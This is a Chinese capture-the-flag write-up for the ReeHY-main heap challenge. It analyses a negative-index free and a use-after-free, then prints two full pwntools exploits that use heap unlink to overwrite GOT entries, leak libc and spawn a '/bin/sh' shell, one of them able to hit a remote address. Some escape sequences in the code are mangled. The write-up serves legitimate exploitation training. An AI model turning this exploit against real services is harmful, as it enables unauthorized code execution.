万能钥匙ctf--4-ReeHY-main调试记录--unlink

查询题目保护开启,发现只开了NX,未开启RELRO和PIE,思路可以从修改got表展开。

 

ida装载分析程序执行流程,main函数发现是一个常规的菜单类题目,推测为堆相关题目。

 

Malloc函数。分配最大不超过4096,且如果大小超过112就直接放入堆区,否则先存入栈区,再拷贝到堆区。存在结构体保存堆大小、堆指针以及标记是否分配。

 

 

Delete函数。直接删除,并没有判断标记是否被删除。删除后标记置0,但是未进行指针置0,存在uaf情况,可利用点为double free。观察没有判断输入为负的情况,可能存在问题。

 

Edit函数。判断是否被释放,未被释放才可以编辑。向堆区输入长度为申请时结构体保存的长度的字符串。

 

Show功能无效

 

利用思路:

从free函数分析来看,首先未判断free的块号是否为负,可能存在释放后再申请内存不缺定的情况,可能分配到关键地方。

使用free(-2)会释放保存堆块大小数组的内存地址,再申请即可申请回来该地址从而进行修改。

 

 

上图即是保存申请堆块大小的数组内容,是一个size为20的堆块。

至于为什么要free(-2),我们从free函数的汇编代码分析,我们重点关注输入和free之间发生了什么。从下图中看出,首先比较输入是否小于4,接着将输入逻辑左移4位后值为-32,即0x20。因此执行汇编代码后释放的为0x6020c0,即保存堆大小的内存区域。

 

由于该块大小为0x20,即属于fastbin,我们可以释放后再申请同样大小的堆块即可返回该内存区域。通过下图的payload修改chunk0地址为0x100,用于覆盖chunk1。

 

接着我们可以编辑chunk0,我们在chunk0中伪造一个chunk,其状态为释放,fd和bk指针指向0x6020e0,该值保存的为申请的堆块指针。我们利用该指针进行unlink检查的绕过,执行完unlink后该值会被改为0x6020e0-0x18,即0x6020c8。这时,当我们再次编辑chunk0时,我们编辑的实际地址为0x6020c8,我们可以通过该地址溢出控制后面地址。

 

现在,我们在编辑chunk0即从0x6020c8开始编辑,通过覆盖修改结构体的值与是否分配的标记。

 

现在我们还缺少system的地址。我们通过修改free函数为puts函数来打印出puts的真实地址。这里有个坑点需要注意,在修改got的值时,不能用sendline函数,也就是说不能在末尾自动加xa0,会出错,因此需要将edit函数做修改,使得发送的内容为io.send(content)。

 

这之后,我们还缺少“/bin/sh”字符串,观察程序,我们发现atoi函数需要我们输入参数,而调用system函数也需要我们输入参数,因此我们把atoi函数改为system函数,并发送/bin/sh字符串。这里不知道为什么执行完上述free(1)后竟然自动recv了剩下的字符,没办法用edit,只能手写一下。

 

完整exp如下:

  1 #!/usr/bin/env python
  2 # coding=utf-8
  3 
  4 from pwn import *
  5 DEBUG = True
  6 
  7 if DEBUG:
  8     io = process('./pwn3')
  9     libc = ELF('./ctf.so.6')
 10     context.log_level = 'debug'
 11 else:
 12     io = remote('172.168.17.2',10001)
 13 
 14 def welcome():
 15     io.recvuntil('$ ')
 16     io.sendline('frdqy')
 17 
 18 def add(size,index,content):
 19     io.recv()
 20     io.sendline('1')
 21     io.recv(1024)
 22     io.sendline(str(size))
 23     io.recv(1024)
 24     io.sendline(str(index))
 25     io.recv(1024)
 26     io.sendline(str(content))
 27 
 28 def free(index):
 29     io.recv()
 30     io.sendline('2')
 31     io.recv(1024)
 32     io.sendline(str(index))
 33 
 34 def edit(index,content):
 35     io.recv()
 36     io.sendline('3')
 37     io.recv(1024)
 38     io.sendline(str(index))
 39     io.recv(1024)
 40     io.send(content)
 41 
 42 system_off = libc.symbols['system']
 43 puts_off = libc.symbols['puts']
 44 g_point = 0x6020e0      #保存申请堆块的结构体
 45 fd = g_point-0x18       #unlink绕过检查
 46 bk = g_point-0x10       #unlink绕过检查
 47 free_got = 0x602018
 48 puts_got = 0x602020
 49 atoi_got = 0x602058
 50 puts_plt = 0x4006d0
 51 
 52 def exp():
 53     welcome()
 54     add(0x80,0,'a'*0x80)
 55     add(0x80,1,'b'*0x80)
 56     
 57     #gdb.attach(io)
 58     free(-2)            #释放后在申请会返回到保存堆块大小的数组内存上
 59     
 60     payload = ''
 61     payload += p32(0x80*2)
 62     payload += p32(0x80)
 63     payload += p32(0)
 64     payload += p32(0)
 65     add(20,2,payload)   #修改已申请的堆块大小分别为0x100、0x80,填充剩下的值
 66 
 67     #溢出块0
 68     payload = ''
 69     payload += p64(0)   #chunk0 pre_size
 70     payload += p64(0x81)#chunk0 size
 71     payload += p64(fd)  #chunk0 fd
 72     payload += p64(bk)  #chunk0 bk
 73     payload += 'a'*(0x80-32)
 74     payload += p64(len(payload))    #chunk1 pre_size
 75     payload += p64(0x90)    #chunk1 size
 76     edit(0,payload)
 77 
 78     #unlink
 79     free(1)
 80     
 81     #再编辑chunk0,实际编辑的就是g_point - 0x18的值,可以覆盖到保存堆指针的结构体
 82     payload = ''
 83     payload += p64(0)
 84     payload += p64(0)
 85     payload += p64(0)
 86     payload += p64(free_got)    #第一项修改为free_got
 87     payload += p64(1)
 88     payload += p64(puts_got)    #第二项修改为puts_got
 89     payload += p64(1)
 90     payload += p64(atoi_got)    #第三项修改为atoi_got
 91     payload += p64(1)
 92     edit(0,payload)
 93 
 94     #此时在编辑chunk0、chunk1、chunk2即可修改对应的函数值
 95     #修改free_got的值为puts从而泄漏计算出libc加载地址
 96     edit(0,p64(puts_plt))
 97    
 98     #打印puts_got的值
 99     free(1)
100     puts_addr =u64(io.recv()[0:6]+'x00x00')
101     system_addr = puts_addr - puts_off + system_off
102     
103     #将atoi改为system
104     #edit(2,p64(system_addr))
105     io.sendline('3')
106     io.recv()
107     io.sendline('2')
108     io.recv()
109     io.sendline(p64(system_addr))
110  
111     #输入/bin/sh
112     io.sendline('/bin/sh')
113     io.interactive()
114     
115 exp()

解法二:double free

本解法不使用上述free(-2)这种操作,本方法更贴近于通用处理free后未置0的情况。

当你申请两个chunk后全部释放在申请两倍大小的chunk,此时glibc会返回给你初始chunk的地址,而由于free未置0,可以执行double free操作,通过第二次申请回来的大块修改原来释放的小块,在进行double free第二块(注意free的chunk不能在free链首),即可造成unlink,其余的操作与上述相同。

完整exp如下:

 1 #!/usr/bin/env python
 2 # coding=utf-8
 3 from pwn import *
 4 import sys
 5 DEBUG = True             
 6 if DEBUG:
 7     io = process('./pwn3')   
 8     context.log_level = 'debug'
 9 else:   
10     io = remote(sys.argv[1], int(sys.argv[2]))
11     
12 def welcome():
13     io.recvuntil('name: 
$')
14     io.send('pediy')
15 
16 def create(index,size,content):
17     io.recvuntil('*********
$')
18     io.send('1')
19     io.recvuntil('Input size
')
20     io.send(str(size))
21     io.recvuntil('Input cun
')
22     io.send(str(index))
23     io.recvuntil('Input content
')
24     io.send(content)    
25 def delete(index):
26     io.recvuntil('*********
$')
27     io.send('2')
28     io.recvuntil('Chose one to dele
')
29     io.send(str(index))
30 
31 def edit(index,content):
32     io.recvuntil('*********
$')
33     io.send('3')
34     io.recvuntil('to edit
')
35     io.send(str(index))
36     io.recvuntil('the content
')
37     io.send(content)
38 
39 def exp():    
40     system_off = 0x45390
41     puts_off = 0x6f690
42     got_addr = 0x602018
43     p_addr = 0x602100
44     puts_plt = 0x4006d0 
45      
46     welcome()
47     create(0,0x20,'/bin/shx00')
48  
49     create(2,0x100,'BBBB')
50     create(1,0x100,'CCCC')
51     #gdb.attach(io)
52     delete(2)
53     delete(1)
54     
55     payload = ''
56     payload += p64(0)
57     payload += p64(0x101)
58     payload += p64(p_addr-0x18)
59     payload += p64(p_addr-0x10)
60     payload += 'a'*(0x100-4*8)
61     payload += p64(0x100)
62     payload += p64(0x110)
63 
64     create(2,0x210,payload)
65     #unlink
66     delete(1)
67     #*p = p-0x18 = 0x602100-0x18 = 0x6020e8
68     payload = ''
69     payload += p64(1)           #0保存/bin/sh
70     payload += p64(got_addr)    #1--free()
71     payload += p64(1)
72     payload += p64(got_addr+8)  #2--puts()
73     payload += p64(1)
74    
75     #修改所有数组的堆块指针为got表函数指针
76     edit(2,payload)
77    
78     #free-->puts
79     edit(1,p64(puts_plt))
80     
81     #puts(puts_got)
82     delete(2)
83     puts_addr = io.recv(6)
84  
85     system_addr = u64(puts_addr+'x00'*2)-puts_off+system_off
86  
87     edit(1,p64(system_addr))    #将free修改为system函数
88     
89     #free chunk0实际system,且参数为/bin/sh
90     delete(0)
91     io.interactive()
92 
93 exp()
原文地址:https://www.cnblogs.com/xingzherufeng/p/9885860.html